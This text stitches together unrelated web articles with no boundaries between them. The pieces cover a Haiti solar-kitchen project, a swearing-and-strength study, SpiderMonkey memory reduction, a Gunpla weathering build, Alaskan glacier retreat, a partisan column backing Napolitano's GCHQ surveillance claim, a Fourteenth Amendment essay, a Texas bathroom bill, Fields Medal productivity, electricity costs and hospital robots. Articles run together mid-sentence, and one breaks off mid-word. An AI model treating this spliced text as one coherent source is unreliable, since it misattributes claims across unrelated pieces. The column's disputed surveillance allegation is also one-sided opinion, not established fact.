In Toronto right now, though, those seem to be our only shades of opinion.The Solar kitchen project for Mont-Organisé (Haiti) «was conceived due to the desire to help Haiti counter its social and environmental crisis related to deforestation, through the introduction of kitchens powered by solar energy. This device is based on solar energy concentration that generates thermal energy from the sunlight passed through a lens. The energy is amassed in a thermal “battery” that can withhold the heat for 20 hours, thus enabling cooking to be done also at night. The materials chosen to make the kitchens are sustainable and biodegradable, and the device obviously does not require fuel, explained the report drafted in view of the climate conference in Paris (30 November – 11 December 2015). It is dedicated to a series of excellent experiences in the Italian electrical supply chain to produce or optimise energy without emissions. The project, in fact, was singled out from the “100 Italian energy stories” of Enel and the Symbola Foundation.
The Solar Kitchens project for Mont-Organisé (Haiti) was presented last 4 July at the Expo 2015 in Milan by AFNonlus, in collaboration with the National Microcredit Agency, the Federico II University of the Agricultural Dept. of Naples, Tesla IA Ltd. and PACNE ONG. It has now landed in the World Climate Conference (Cop21) of Paris, where political leaders and experts of 190 countries are involved in delineating a programme that can save the planet.
«The climate challenge which from 30 November to 11 December will see the world gathered in Paris for the COP21, does not only regard the environment,» the Report underlined, but «is a geopolitical, technological, economic and social challenge. It is a challenge for the future, which we can overcome if we firmly undertake a green economy, and clean and efficient energy.”
Enel and Symbola recount a new course consisting of innovation and quality, and research and competitiveness in the search for the ”100 Italian Energy Stories.” It is a programme for sustainable energy undertaken in our country [Italy] by enterprises, research agencies and associations.»
AFNonlus (Association of Action for New Families non-profit org.) was inspired by the principles of the Focolare Movement which has been operating for over 30 years in 50 countries to support the disadvantaged families and children through projects of cooperation for development.It isn’t big and it isn’t clever. But the benefits, known to anyone who has moved home, climbed a mountain, or pushed a broken-down car, have finally been confirmed: according to psychologists, swearing makes you stronger.
The upside of letting profanities fly emerged from a series of experiments with people who repeated either a swear word or a neutral word as they pounded away on an exercise bike, or performed a simple hand-grip test.
When people cursed their way through the half-minute bike challenge, their peak power rose by 24 watts on average, according to the study. In the 10-second grip task, swearers boosted their strength by the equivalent of 2.1kg, researchers found.
“In the short period of time we looked at there are benefits from swearing,” said Richard Stephens, a psychologist at Keele University, who presented the results at the British Psychological Society meeting in Brighton.
Bad language: why being bilingual makes swearing easier Read more
Stephens enrolled 29 people aged about 21 for the cycling test, and 52 people with a typical age of 19 for the hand-grip test. All were asked to choose a swearword to repeat in the studies, based on a term they might utter if they banged their head. For the neutral word, the volunteers were asked to pick a word they might use to describe a table, such as “wooden” or “brown”.
“We asked them to repeat the word throughout each test,” Stephens said. “They don’t scream and shout it. They repeat it in an even tone.” The work builds on previous research by Stephens, which found evidence that expletives increased people’s tolerance to pain.
The findings may not come as a surprise to those who have let rip with profanities to spur themselves on. Stephens recalls a friend of his, Mark Foulkes, who in 2013 took part in a tandem bike ride from Reading to Barcelona to raise money for a mobile chemotherapy unit. “Swearing was a prominent feature of them powering up the Pyrenees,” Stephens said.
In the latest study, people’s heart rates did not rise any more when they swore, a finding that suggests the expletives were not triggering the so-called fight-or-flight response. “Quite why it is that swearing has these effects on strength and pain tolerance remains to be discovered,” Stephens said.
“We’re not telling people something they don’t already know, but we’re verifying that in a systematic and objective way,” he added. “I think people instinctively reach for swearwords when they hurt themselves and when they’re looking for an extra boost in performance.”One thing I’ve learnt while working for Mozilla is that a web browser can be characterized as a JavaScript execution environment that happens to have some multimedia capabilities. In particular, if you look at Firefox’s about:memory page, the JS engine is very often the component responsible for consuming the most memory.
Consider the following snapshot from about:memory of the memory used by a single JavaScript compartment.
(For those of you who have looked at about:memory before, some of those entries may look unfamiliar, because I landed a patch to refine the JS memory reporters late last week.)
There is work underway to reduce many of the entries in that snapshot. SpiderMonkey is on a diet.
Objects
Objects are the primary data structure used in JS programs; after all, it is an object-oriented language. Inside SpiderMonkey, each object is represented by a JSObject, which holds basic information, and possibly a slots array, which holds the object’s properties. The memory consumption for all JSObjects is measured by the “gc-heap/objects/non-function” and “gc-heap/objects/function” entries in about:memory, and the slots arrays are measured by the “object-slots” entries.
The size of a non-function JSObject is currently 40 bytes on 32-bit platforms and 72 bytes on 64-bit platforms. Brian Hackett is working to reduce that to 16 bytes and 32 bytes respectively. Function JSObjects are a little larger, being (internally) a sub-class of JSObject called JSFunction. JSFunctions will therefore benefit from the shrinking of JSObject, and Brian is slimming down the function-specific parts as well. In fact, these changes are complete in the JaegerMonkey repository, and will likely be merged into mozilla-central early in the Firefox 11 development period.
As for the slots arrays, they are currently arrays of “fatvals” A fatval is a 64-bit internal representation that can hold any JS value — number, object, string, whatever. (See here for details, scroll down to “Mozilla’s New JavaScript Value Representation”; the original blog entry is apparently no longer available). 64-bits per entry is overkill if you know, for example, that you have an array full entirely of integers that could fit into 32 bits. Luke Wagner and Brian Hackett have been discussing a specialized representation to take advantage of such cases. Variations on this idea have been tried twice before and failed, but perhaps SpiderMonkey’s new type inference support will provide the right infrastructure for it to happen.
Shapes
There are a number of data structures within SpiderMonkey dedicated to making object property accesses fast. The most important of these are Shapes. Each Shape corresponds to a particular property that is present in one or more JS objects. Furthermore, Shapes are linked into linear sequences called “shape lineages”, which describe object layouts. Some shape lineages are shared and live in “property trees”. Other shape lineages are unshared and belong to a single JS object; these are “in dictionary mode”.
The “shapes/tree” and “shapes/dict” entries in about:memory measure the memory consumption for all Shapes. Shapes of both kinds are the same size; currently they are 40 bytes on 32-bit platforms and 64 bytes on 64-bit platforms. But Brian Hackett has also been taking a hatchet to Shape, reducing them to 24 bytes and 40 bytes respectively. This has required the creation of a new auxiliary BaseShape type, but there should be many fewer BaseShapes than there are Shapes. This change will also increase the number of Shapes, but should result in a space saving overall.
SpiderMonkey often has to search shape lineages, and for lineages that are hot it creates an auxiliary hash table, called a “property table”, that makes lookups faster. The “shapes-extra/tree-tables” and “shapes-extra/dict-tables” entries in about:memory measure these tables. Last Friday I landed a patch that avoids building these tables if they only have a few items in them; in that case a linear search is just as good. This reduced the amount of memory consumed by property tables by about 20%.
I mentioned that many Shapes are in property trees. These are N-ary trees, but most Shapes in them have zero or one child; only a small fraction have more than that, but the maximum N can be hundreds or even thousands. So there’s a long-standing space optimization where each shape contains (via a union) a single Shape pointer which is used if it has zero or one child. But if the number of children increases to 2 or more, this is changed into a pointer to a hash table, which contains pointers to the N children. Until recently, if a Shape had a child deleted and that reduced the number of children from 2 to 1, it wouldn’t be converted from the hash form back to the single-pointer. I changed this last Friday. I also reduced the minimum size of these hash tables from 16 to 4, which saves a lot of space because most of them only have 2 or 3 entries. These two changes together reduced the size of the “shapes-extra/tree-shape-kids” entry in about:memory by roughly 30–50%.
Scripts
Internally, a JSScript represents (more or less) the code of a JS function, including things like the internal bytecode that SpiderMonkey generates for it. The memory used by JSScripts is measured by the “gc-heap/scripts” and “script-data” entries in about:memory.
Luke Wagner did some measurements recently that showed that most (70–80%) JSScripts created in the browser are never run. In hindsight, this isn’t so surprising — many websites load libraries like jQuery but only use a fraction of the functions in those libraries. It wouldn’t be easy, but if SpiderMonkey could be changed to generate bytecode for scripts lazily, it could reduce “script-data” memory usage by 60–70%, as well as shaving non-trivial amounts of time when rendering pages.
Trace JIT
TraceMonkey is SpiderMonkey’s original JIT compiler, which was introduced in Firefox 3.5. Its memory consumption is measured by the “tjit-*” entries in about:memory.
With the improvements that type inference made to JaegerMonkey, TraceMonkey simply isn’t needed any more. Furthermore, it’s a big hairball that few if any JS team members will be sad to say goodbye to. (js/src/jstracer.cpp alone is over 17,000 lines and over half a megabyte of code!)
TraceMonkey was turned off for web content JS code when type inference landed. And then it was turned off for chrome code. And now it is not even built by default. (The about:memory snapshot above was from a build just before it was turned off.) And it will be removed entirely early in the Firefox 11 development period.
As well as saving memory for trace JIT code and data (including the wasteful ballast hack required to avoid OOM crashes in Nanojit, ugh), removing all that code will significantly shrink the size of Firefox’s code. David Anderson told me the binary of the standalone JS shell is about 0.5MB smaller with the trace JIT removed.
Method JIT
JaegerMonkey is SpiderMonkey’s second JIT compiler, which was introduced in Firefox 4.0. Its memory consumption is measured by the “mjit-code/*” and “mjit-data” entries in about:memory.
JaegerMonkey generates a lot of code. This situation will hopefully improve with the introduction of IonMonkey, which is SpiderMonkey’s third JIT compiler. IonMonkey is still in early development and won’t be integrated for some time, but it should generate code that is not only much faster, but much smaller.
GC HEAP
There is a great deal of work being done on the JS garbage collector, by Bill McCloskey, Chris Leary, Terrence Cole, and others. I’ll just point out two long-term goals that should reduce memory consumption significantly.
First, the JS heap currently has a great deal of wasted space due to fragmentation, i.e. intermingling of used and unused memory. Once moving GC — i.e. the ability to move things on the heap — is implemented, it will pave the way for a compacting GC, which is one that can move live things that are intermingled with unused memory into contiguous chunks of memory. This is a challenging goal, especially given Firefox’s high level of interaction between JS and C++ code (because moving C++ objects is not feasible), but one that could result in very large savings, greatly reducing the “gc-heap/arena/unused” and “gc-heap-chunk-*-unused” measurements in about:memory.
Second, a moving GC is a prerequisite for a generational GC, which allocates new things in a small chunk of memory called a “nursery”. The nursery is garbage-collected frequently (this is cheap because it’s small), and objects in the nursery that survive a collection are promoted to a “tenured generation”. Generational GC is a win because in practice the majority of things allocated die quickly and are not promoted to the tenured generation. This means the heap will grow more slowly.
Is that all?
It’s all I can think of right now. If I’ve missed anything, please add details in the comments.
There’s an incredible amount of work being done on SpiderMonkey at the moment, and a lot of it will help reduce Firefox’s memory consumption. I can’t wait to see what SpiderMonkey looks like in 6 months!What a long time since I made the first post! And I’m finally motivated enough to do another post. A while ago I made a custom Zaku I for a Reddit banner build. Since I wanted to learn some weathering skill, I decided a Zeon Remnant mobile suit would be a good excuse.
I started with The Origin Zaku I (Denim/Slender). As I was not prepared for a lot of custom work on the frame and body, a newer kit would be a good idea. Here are some colour scheme I planned.
I ended up with this, I think the grey on the thigh made a nice separation for the mustard and the brown.
I must apologise as there are no photos to show before and after, but I will try my best to explain what I have done. After snapfitting, I used hobby knife and a hobby file to make scratches and damages here and there. It also marks where I plan to weather. I also used a nipper to make some damage to the leg armor.
Part separation was done on forearms and legs, they are much easier to do than expected.
I used epoxy putty to curved out the monoeye bridge because the normal rectangular eye bridge looks…. toy-ish. For the eye, I originally drilled a hole and fitted a MS sight lens (red). However the red did not shine through enough, so I just painted it over with Tamiya enamel white mixed with a drop of red.
Weathered the commander antenna slot to highlight that part, maybe it used to be a commander suit? Who knows.
I placed the round shoulder piece on the right instead of the left like it was supposed to be, so that is looked a bit more balanced with the shield.
After painting the shoulder, I dabbed some hobby cement on and brushed it with a spare toothbrush to rough out the surface. Then dry brushed chrome silver, sand brown, and flat brown. Very happy with the result.
On the left shoulder, a piece of MS Panel 01 was used to cover some slots as well as creating a repaired look.
I put some MS Armor 01 to cover the slot on the shield, two Kotobukiya spikes on the front, how else are you gonna make your punch hurt? I drilled a hole and fitted a spare spruce as a handle.
Fun part with the gashes, simply heat up a metal thing (in this case I used my paint stirrer) and slice the part. Careful though, they melt easily so I recommend practicing on the spruce first.
Here are the most iconic part of this build, the graffiti! I decided to name the gun Busta, got the idea from Firefly because we love our guns.
The machine gun is from Dom tropen (sand brown), in hoping to create a image of different generation (older machine with slightly newer gun). Dry brushed with Flat aluminum, chrome silver, and flat brown.
Being a Zeon Remnant suit, we don’t want to forget the glory of Zeon, “SIEG ZEON” no doubt is the best to put on the suit too! Both drawing were hand drawn on with Tamiya Enamel white. Since I top coated it before the white, I can always wipe it off and redo it until I run out of patience.
Scraped the thigh for damage with a metal stirrer, and weathered with chrome silver and flat brown.
Same cement and brush trick used on the knee armor, specifically used brown panel liner to increase realism.
Oh good ol’ metal stirrer, how am I gonna slice the right leg without you? I slice it a little heavier to puncture the piece. Same old chrome silver, flat brown and sand brown to dry brush.
With the streaking, dip a dot of flat brown near the hole. After a few minutes, load a brush with enamel thinner and lightly… I SAID LIGHTLY brush down the leg, and leave a light trail of the brown.
More dry brushing on the leg area.
Onto the left leg, heat up a toothpick to create bullet holes. Then some streaking effect like the other leg.
To make it more used and a bit more custom, a put on a panel from MS Panel 01, and two MS Thruster 01 on each leg.
I weathered the whole kit with chrome silver, then flat brown and occasionally some other brown depending on the part.
Girlfriend’s eyeshadow Weathering powder was used to replicate burnt effect. However it is not very visible as I wanted.
Another new trick I tried on the feet, I shaved some oil pastels and used them as weathering powder. Load a brush with the pastel and lightly sprinkle it on desired location. I then proceeded to wet it with enamel thinner, it will melt the pastel slightly and makes them stay there. Keep layering it up (powder > thinner > powder > thinner) until desired texture achieved.
Ever since I used Citadel Shade product, I totally fell in love with them. It is a very easy to use “wash” to weather your Gunpla. Simply load your brush with it and brush on, it can effectively lower the tone of the base colour and give it a more “used” effect. I normally will make sure it doesn’t leave a water mark on the piece, unless of course that is what I am after.
It has been a really fun build for me, I genuinely enjoyed the process and am very happy with the result! While I am not even close to being a “weathering master”, this is a very good lesson on making a gunpla look more realistic.
I leave the rest of the pictures here for anyone interested.
As always, happy building!Retreat of Desolation-Fairweather Glacier from 2010-2016 in Landsat images. The red arrow indicates 2010 terminus positions, yellow arrow the 2016 terminus. Pink arrow a delta exposed by lake level lowering. D=Desolation Glacier.
Desolation Glacier flows west from the Fairweather Range into Desolation Valley where in 1986 it joined with the Fairweather Glacier flowing from the north and the Lituya Glacier flowing from the south to fill the valley with glacier ice. This is no longer the case, the valley once known for its long relatively flat area of largely debris covered ice, is mostly a lake now. The valley has developed along the Fairweather Fault. Molnia (2007) noted that the tidewater termini of Lituya Glacier advanced ∼ 1 km since 1920 and continued to advance up to 2000 as it built an outwash plain reducing calving. Larsen et al (2015) noted thinning rates of 3 m per year for the Desolation Valley from Desolation Glacier north to Fairweather Glacier in the last decade (1994-2013). Alifu et al (2016) identified that Desolation Glacier and Fairweather Glacier have lost 2.6% and 2.2% of their glacier area, respectively from 2000-2012. Only minor surface area changes were seen in Lituya Glacier during this period. They also noted that the mean snow line altitude of Fairweather, Lituya and Desolation increased by 120–290 m. Since 2012 extensive ice loss of the Desolation-Fairweather complex has occurred. This is similar to the large rise in the transient snowline/equilibrium line noted by Pelto et al (2013) on nearby Brady Glacier.
In 1986 The Desolation Valley was filled with glacier ice from Fairweather Glacier to Liutya Bay. By 2010 the southern half of the valley from Lituya Glacier to the outlet of Desolation Glacier into the valley had opened up and the terminus of Desolation Glacier and Lituya Glacier were at the red arrows, this represented a 5.3 km section of glacier lost. In 2013 the northern half of the valley filled by the Desloation-Fairweather Glacier was breaking up but still ice filled. The Google Earth image from 2014 illustrates how broken up. By 2016 the collapse was total and the new terminus is at the yellow arrow a 5.5 km retreat since 2010, this is a loss of 6.5 square kilometers of ice. The lake level also dropped which led to exposure of a lacustrine delta that had been submerged in 2013 and 2014, pink arrow. The lake has expanded in area, but lost in mean depth. Will this continue to be a lake with continued retreat or become a braided river valley as the Fairweather Glacier continues to thin and retreat? Desolation Glacier is no longer calving and its retreat rate should slow. The terminus of the Fairweather Glacier should continue to retreat via calving in a fashion similar to glaciers around the world terminating in extensive lakes. Just to the north the North Fork Grand Plateau Glacier also experienced a large recent retreat with Landsat imagery in 2013 and 2014 indicating extensive calving from 2013 to 2015 and a retreat of 3.0 km, 1.5 km/year. Fingers Glacier is another nearby glacier that also is experiencing widespread retreat. More images of the region are in a field blog on the region.
Retreat of Desolation-Fairweather Glacier from 1986 and 2013 in Landsat images. The red arrow indicates 2010 terminus positions, yellow arrow the 2016 terminus. Pink arrow a delta exposed by lake level lowering. D=Desolation Glacier.
Google Earth image from 2014 of the disintegrating debris covered glacier.Apparently, Fox News isn’t as “fair and balanced” as it pretends to be. While it endlessly repeats totally unsubstantiated claims of Trump critics of collusion between the Trump campaign and Russia, as well as repeatedly dismissing Trump claims of Obama administration surveillance of Trump tower, they have dared to take Fox News contributor Judge Napolitano off the air for repeating what three intelligence agents told him -- that the Obama administration in fact had British intelligence conduct the surveillance so as not to leave a trail. As the Los Angeles Times reported:
Fox News anchor Bret Baier likes to end his Special Report broadcast with the claim that Fox News is “fair, balanced and unafraid.” Well, Fox News seems not to be fair when it throws contributor Judge Andrew Napolitano under the bus for linking surveillance of Team Trump to Team Obama’s links with British intelligence.
The former New Jersey Superior Court judge, citing unnamed sources, said that the British foreign surveillance agency, the Government Communications Headquarters, “most likely” provided Obama with transcripts of Trump’s recorded calls. “By bypassing all American intelligence services, Obama would have had access to what he wanted with no Obama administration fingerprints,” Napolitano wrote in a column on FoxNews.com. White House press secretary Sean Spicer cited Napolitano’s charge last week when asked why President Trump continues to stand by his initial claim. The British spy agency sharply denounced Napolitano’s allegations, saying they are “utterly ridiculous and should be ignored."
Fox News, along with its brethren MSNBC and CNN, apparently has no trouble endlessly repeating reports from unnamed sources of collusion between Team Trump and Russian operatives. Yet it dumped Judge Napolitano for challenging the mantra of the herd that Team Trump is guilty and Obama is innocent. Napolitano raised the British connection in a Fox News Opinion column on March 16:
Sources have told me that the British foreign surveillance service, the Government Communications Headquarters, known as GCHQ, most likely provided Obama with transcripts of Trump’s calls. The NSA has given GCHQ full 24/7 access to its computers, so GCHQ -- a foreign intelligence agency that, like the NSA, operates outside our constitutional norms -- has the digital versions of all electronic communications made in America in 2016, including Trump’s. So by bypassing all American intelligence services, Obama would have had access to what he wanted with no Obama administration fingerprints. Thus, when senior American intelligence officials denied that their agencies knew about this, they were probably being truthful. Adding to this ominous scenario is the fact that three days after Trump’s inauguration, the head of GCHQ, Robert Hannigan, abruptly resigned, stating that he wished to spend more time with his family.
Of course, American intelligence agencies, as well as the British, are denying the story. Either Judge Napolitano is doing some sloppy reporting or these agencies are lying. They have lied before, particularly about whether the American people were under surveillance by the NSA.
Trump has been skeptical of the conclusions of Clapper and the intelligence community and rightly so. Are we to believe the likes of James Clapper, who once reassured the Congress that the NSA wasn’t conducting surveillance of the American people?
As U.S. News and World Report noted, his recent resignation didn’t assuage critics who believe that Clapper, like other Obama administration personnel, dodged a perjury bullet when he testified before Congress on the issue of NSA surveillance of American citizens:
Some lawmakers reacted to the long-expected resignation announcement from Director of National Intelligence James Clapper on Thursday by wishing him an eventful retirement, featuring prosecution and possible prison time. The passage of more than three years hasn’t cooled the insistence in certain quarters that Clapper face charges for an admittedly false statement to Congress in March 2013, when he responded, “No, sir" and "not wittingly” to a question about whether the National Security Agency was collecting “any type of data at all” on millions of Americans. About three months after making that claim, documents leaked by former NSA contractor Edward Snowden revealed the answer was untruthful and that the NSA was in fact collecting in bulk domestic call records, along with various internet communications. To his critics, Clapper lied under oath, a crime that threatens effective oversight of the executive branch. In an apology letter to lawmakers, however, Clapper said he gave the “clearly erroneous” answer because he “simply didn’t think of” the call-record |
believe, at least in the abstract, that people should be free to do business or not do business with whoever they want, for whatever reason they want. Additionally, I’m entirely uncomfortable with the tortured reasoning in Heart of Atlanta Motel v. United States and Katzenbach v. McClung, where the Commerce Clause was twisted beyond all rational meaning to justify Title II of the Act.
Instead of engaging in intellectual jujitsu, and doing several harm to concepts such as Federalism and limited government in the process, however, the Supreme Court did have another option; they could have revisited the horribly mistaken decision in The Slaughterhouse Cases:
When it was ratified in 1868, the 14th Amendment added several revolutionary new provisions to the Constitution, barring states from violating the “privileges or immunities” of citizens, or taking anyone’s life, liberty or property without “due process of law,” or depriving people of the “equal protection of the laws.” But the first time it heard a case under that amendment — in the 1873 Slaughterhouse Cases — the Supreme Court basically erased the privileges or immunities clause, dramatically limiting the way the federal government would protect people against wrongful acts by state officials. That case began when Louisiana passed a law forbidding butchers from slaughtering cattle anywhere in New Orleans except a single, privately owned facility. The beef industry was big business in New Orleans, and the new law put hundreds of butchers out of business overnight. The butchers sued, arguing that the law violated their right to earn a living without unreasonable government interference. Judges had recognized that right as far back as 1602, when England’s highest court declared government-created monopolies illegal under the Magna Carta. The right to earn an honest living came to be recognized as one of the fundamental rights — or “privileges and immunities” — in the common law. Yet in Slaughterhouse, the Court ruled against the butchers, holding, 5-4, that despite the new amendment’s language, federal courts would not guarantee traditional rights against interference by states. With only minor exceptions, the Court declared, those rights were “left to the State governments for security and protection.” The decision’s ramifications were profound. In the years after the Civil War, Americans — particularly in the South — needed protection against abusive state legislatures. That was the protection the privileges or immunities clause promised, and that the Slaughterhouse decision eliminated. During the next decade, federal authorities abandoned Reconstruction efforts to protect former slaves, and black Americans were condemned to another century of segregation and oppression.
Ten years later in The Civil Rights Cases, the Supreme Court invalidated the Civil Rights Act of 1875 which would have essentially accomplished the same thing that Title II of the 1964 Act did eighty-nine years later and in the process essentially gutted another part of the 14th Amendment, the Equal Protection Clause. At that time, the sole dissenter, John Marshall Harlan made a prescient observation:
Today it is the colored race which is denied, by corporations and individuals wielding public authority, rights fundamental in their freedom and citizenship. At some future time, it may be that some other race will fall under the ban of race discrimination. If the constitutional amendments be enforced according to the intent with which, as I conceive, they were adopted, there cannot be, in this republic, any class of human beings in practical subjection to another class with power in the latter to dole out to the former just such privileges as they may choose to grant. The supreme law of the land has decreed that no authority shall be exercised in this country upon the basis of discrimination, in respect of civil rights, against freemen and citizens because of their race, color, or previous condition of servitude. To that decree — for the due enforcement of which, by appropriate legislation, Congress has been invested with express power — everyone must bow, whatever may have been, or whatever now are, his individual views as to the wisdom or policy either of the recent changes in the fundamental law or of the legislation which has been enacted to give them effect.
But for a different outcome in The Slaughterhouse Cases and The Civil Rights Cases, the entire system of mandated racial segregation known as Jim Crow would have been under direct legal assault at the time of it’s birth.
It’s also worth noting that Plessy v. Ferguson involved a Louisiana law that was designed to prevent the Pullman Company from offering equal seating options to blacks. That, in fact, was the entire purpose of Jim Crow laws. Even if, for example, the Woolworth’s in Greensboro, North Carolina had wanted to serve the four black college students who sat down at their lunch counter on February 1, 1960, the laws in place at the time told them that they couldn’t. Racial segregation in the South wasn’t a product of the free market, it was the product of a state imposing racial prejudices under the threat of criminal prosecution. For that reason alone, it was a violation of the 14th Amendment and the Federal Government was entirely justified in trying to bring it down.
Now, none of this means that racism didn’t exist in the South. Obviously it did, otherwise Jim Crow never would have been imposed in the first place. However, by passing these laws it’s fairly clear what that the intent of the Southern legislatures was to prevent the newly freed blacks from participating in the economic life of the South by denying them access to jobs, business opportunities, and trade while at the same time denying them access to the polls so that they wouldn’t be able to have their voice heard at the state capital. At the same time, it prevented other whites, as well as businesses from other parts of the country, from any efforts to break down the walls of segregation.
Even though the arguments that were used to justify the Constitutionality of the Act involved tortured reasoning under the Commerce Clause, the results would have been the same had the Supreme Court not so blatantly ignored the plain intent of the 14th Amendment so many years ago. So, yes, I think that Rand Paul’s criticisms of Title II are correct in some sense, and that the question of how far government should be permitted to regulate private affairs is an issue that needs to be debated more closely. That said, it’s fairly clear that the Civil Rights Act of 1964 was proper, and that it’s long past time that the Privileges and Immunities Clause was given it’s full force and effect.What are you in for?
A bill filed in the Texas legislature by State Representative Debbie Riddle (R-Spring) would make it a state jail felony for business owners to allow transgender people from using a restroom designated for a sex that is different from the one they were born.
"A male is an individual with at least one X chromosome and at least one Y chromosome, and a female is an individual with at least one X chromosome and no Y chromosomes," the bill reads. "If an individual's gender established at the individual’s birth is not the same and the individual's gender established by the individual's chromosomes, the individual’s gender established by the individual's chromosomes controls under this section."
While the bill extends beyond restrooms to locker rooms and shower facilities, it lacks language for enforcement. It's unclear if a person would need to present a certified genetic test before being allowed to relieve themselves in the proper facility.
In addition to targeting business owners who are lax in policing their restroom, the bill also targets the transgender themselves, making it a Class A misdemeanor to use a toilet facility "that is designated for use by persons of a gender that is not the same gender as the individual's gender."
Groups that lobby for LGBT rights say it is discrimination. Daniel Williams is with Equality Texas.
"I have no idea how she envisions this being enforced, and that's before you get to the constitutional issues," he tells News Radio 1200 WOAI. "It's very poorly considered."
We contacted State Rep. Riddle, but she refused to comment.
Williams says if she were honestly concerned about public safety, she should look at statistics in Texas, where nearly half of all transgender Texans have been assaulted because of their gender identity.
"Seventeen states have laws that protect the right of everybody to use the restroom appropriate to their gender, and not a single one of them have seen an increase in public safety incidents."2010 winner Cédric Villani Wikimedia Commons Prizes and rewards are designed to produce more effort, to give people something to strive towards. But what happens once they actually get it? According to a new study by Harvard's George Borjas and Notre Dame's Kirk Doran of recipients of the Fields Medal, the most prestigious prize in mathematics, winning big actually kills productivity.
Mathematicians who win it publish far less in the years afterwards than similarly brilliant "contenders" — highly cited mathematicians who won other prestigious awards before the age of 40 (the cutoff for the Fields), but not the prize itself. The prize is awarded every four years to two, three, or four mathematicians.
It goes to show that major awards and recognition can have unintended consequences.
The drop off is pretty massive, as this chart shows:
George J. Borjas and Kirk B. Doran
This is explained, in part, by the classic economic "wealth effect." The impact of the Fields medal is significant. It's more prestigious than any other prize, and though the financial reward is a meager $15,000, the career and research opportunities available to a winner expand massively.
Because they've achieved so much "wealth" in terms of prestige, job security, and opportunity, winners are more likely to choose leisure activities over work, just as someone who suddenly comes into significant monetary rewards might.
Not only do they produce fewer papers, but the ones they do write are relatively less important. And winners take fewer mentees, as well.
The authors did find one surprising positive effect. Though they publish less, winners also take more risks in the future. They've already reached the pinnacle of their fields, so they feel free to pursue moonshots, new areas of mathematics that they think are fascinating or vital.
The risk is quite large. The winners know they're capable of doing extraordinary work in a particular area. Moving outside of it makes future results far less certain. Their particular gifts or talent might not translate well, and they're going to have to learn new skills and an entirely new body of research in the new area, which is all very time consuming.
The researchers term movement outside the core field, "cognitive mobility," and its increase explains about half of the drop off in productivity for medal winners.
The prize frees them up in an extremely significant way. In the years leading up to the medal year, the likelihood of a mathematician straying from their comfort zone is very rare, at just 5%. For prize-winners, the rate quintuples to 25%.
Here's the chart showing the increase in intellectual freedom:
George J. Borjas and Kirk B. Doran
The overall drop off is unfortunate, and many of the medalists' experiments won't measure up to the efforts of lifelong specialists, according to the authors.
But there are benefits as well. In the late 20th century, there are three great examples of mathematicians who made great contributions in one area of mathematics, then went on to make huge contributions in a distant subject years later. All three were Fields Medal winners.
French mathematician René Thom won his medal for his earlier work in differential topology. He's perhaps more famous for his role in developing singularity/catastrophe theory years later.
David Mumford's initial work was in algebraic geometry. He's now a leader in developing the mathematics of vision and pattern theory.
Stephen Smale's Fields Medal came from work in many-dimensional topology. His subsequent work has had a significant impact on physics, biology, and theoretical economics.
One of the original goals of the Fields Medal was to not just give mathematicians to aspire towards, but to promote "further achievement" afterwards. It does so, if not in the most immediately apparent way.
This research obviously covers a very specific and unique population. But it has implications for high performers in any area. Whether it's promising a promotion, raise, or award, leaders have to think about the aftermath as well as the competition itself.
It's important to reward achievement, but it may also have the unintended side effect of creating complacency.
At the same time, there's something to be said for giving top performers the opportunity and safety net required to do really innovative work, even if it's less certain and takes longer.
Read the full paper, "Prizes and Productivity: How Winning The Fields Medal Affects Scientific Output"Natural gas and wind are the lowest-cost technology options for new electricity generation across much of the U.S. when cost, public health impacts and environmental effects are considered, according to new research released today by The University of Texas at Austin.
University researchers assessed multiple generation technologies including coal, natural gas, solar, wind and nuclear. Their findings, as depicted in a series of maps illustrating the cost of each generation technology on a county-by-county basis throughout the U.S., are featured in a new white paper titled "New U.S. Power Costs: by County, with Environmental Externalities."
The paper is part of a comprehensive study coordinated by UT Austin's Energy Institute titled the "Full Cost of Electricity (FCe-)," an interdisciplinary project that synthesizes expert analyses from faculty members and other researchers across the university -- from engineering, economics, law and public policy.
The research team adopted a holistic approach to probe the key factors affecting the total direct and indirect costs of generating and delivering electricity. Their work resulted in the production of a series of authoritative white papers that provide an in-depth assessment and examination of various electric power system options.
Researchers categorized the electricity system into three principal components: consumers; generation technologies; and the wires, poles, storage and other hardware required to connect end users and generators. Taken as a whole, the white papers assess the interaction among these three components, as well as costs often considered external to the electricity system, such as environmental effects and public health impacts.
"These are complex, interrelated issues that cannot be adequately addressed from one perspective," said Dr. Tom Edgar, director of the Energy Institute. "We assembled a cross-disciplinary team to provide a fuller understanding of these costs and their policy implications."
For the white paper on power generation costs, researchers used data from existing studies to enhance a formula known as the Levelized Cost of Electricity (LCOE). In addition to including public health impacts and environmental effects -- which the LCOE typically does not -- the research team used data to calculate county-specific costs for each technology.
The team also developed online calculators to facilitate a discussion among policymakers and others about the cost implications of policy actions associated with new electricity generation.
Dr. Joshua Rhodes, postdoctoral research fellow at the Energy Institute and lead author of the paper, said the cost estimates are based on a series of assumptions that researchers debated at length.
"We think our methodology is sound and hope it enhances constructive dialogue," Rhodes said. "But we also know that cost factors change over time, and people disagree about whether to include some of them.
"We wanted to provide an opportunity for people to change these inputs, and the tools we've created allow for that," he added.
Researchers analyzed data for the most competitive sources of new electricity generation. Wind proved to be the lowest-cost option for a broad swath of the country, from the High Plains and Midwest and into Texas. Natural gas prevailed for much of the remainder of the U.S.; nuclear was found to be the lowest-cost option in 400 out of 3,110 counties nationwide.
The FCe- study examined numerous factors affecting the cost of electricity generation, including:
Power Plant Costs (both operating and capital costs)
Environmental and Health Costs (air quality, greenhouse gases)
Infrastructure Costs (transmission & distribution lines, rail, pipelines)
Fuel Cost (variability, full fuel cycle)
Integration of renewable and distributed energy resources
Energy Efficiency
Government financial support for electricity generation (subsidies)
White paper: http://energy.utexas.edu/the-full-cost-of-electricity-fce/fce-publications/lcoe-white-paper/VTT Technical Research Centre of Finland studied the implementation of a logistics robot system at the Seinäjoki Central Hospital in South Ostrobothnia. The aim is to reduce transportation costs, improve the availability of supplies and alleviate congestion on hospital hallways by running deliveries around the clock on every day of the week. Joint planning and dialogue between the various occupational groups and stakeholders involved was necessary for a successful change process.
As the population ages, the need for robotic services is on the increase. Adopting new technology to support care and nursing work is not straightforward, however. Autonomous service robots and robot systems raise questions about safety as well as about their impact on care quality and jobs, among others.
VTT has studied the implementation of a next-generation logistics robot system at the Seinäjoki Central Hospital. First steps are being taken in Finland to introduce automated delivery systems in hospitals, with Seinäjoki Central Hospital acting as one of the pioneers. The Seinäjoki hospital's robot system will include a total of 5-8 automated delivery robots, two of which were deployed during the study.
